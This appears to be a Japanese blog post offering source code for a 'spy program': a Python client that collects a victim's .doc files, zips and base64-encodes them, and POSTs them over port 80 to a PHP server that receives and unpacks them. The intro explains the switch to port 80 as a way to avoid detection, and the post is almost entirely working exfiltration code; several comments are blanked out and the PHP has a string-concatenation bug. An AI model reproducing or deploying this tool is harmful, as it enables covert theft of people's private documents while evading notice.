pythonスパイプログラム転送ファイル改良版PHPサービス側

2860 ワード

前回のスパイプログラム転送ファイルsocketプログラミングは実は2つの悪い点があります.
1、スパイプログラムとして、自分で2000ポートを開けて、発見されやすくて、80ポートを歩くべきです
2、PHPをサービス端とするのはpythonで直接IPでserver socketを開くより簡単で、自然で安定している(少しだけ)
server.php
<?php
	function unzip_file($file, $destination){ 
		//php.ini    extension=php_zip.dll     
		$zip = new ZipArchive() ; 
		if ($zip->open($file) !== TRUE) { 
			die ('Could not open archive'); 
		}  
		$zip->extractTo($destination); 
		$zip->close(); 
		echo 'ok'."<br/>"; 
	} 
	
	$path = iconv("UTF-8","gb2312","C:\\Documents and Settings\\Administrator\\  ");
	$filename = $path +"\\out.zip";
	echo $filename."<br/>";
	$fp = fopen($filename,"wb");
	$encode_data = file_get_contents("php://input");
	$decode_data = base64_decode($encode_data);
	fwrite($fp,$decode_data);
	unzip_file($filename,$path);
	echo "finished!"."<br/>"
?>

client.py
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
import urllib2,urllib,httplib

def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))       
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))

def post_data(data,HOST,PORT):
    conn = httplib.HTTPConnection(HOST,PORT)
    conn.request('POST','/server.php',data,{})
    response = conn.getresponse()
    resdata = response.read()
    print response
    
def main():        
    HOST = '127.0.0.1'
    PORT = 80
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\    "
    extName = '.doc'

    #         doc  
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "      : " % e
        sys.exit(-1)

   
    #   zip  
    zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
    for f in filelist:
        zfile.write(f)
    zfile.close()
    
    #base 2      encode(infile,outfile)
    infile = open('in.zip','rb')
    tmpfile = open('in.tmp','wb')
    base64.encode(infile,tmpfile)
    infile.close()
    tmpfile.close()
    
    #send
    tmpfile = open('in.tmp','rb')
    post_data(tmpfile.read(),HOST,PORT)
    tmpfile.close()

    
    #           
    os.remove('in.tmp')
        


if __name__=='__main__':
    main()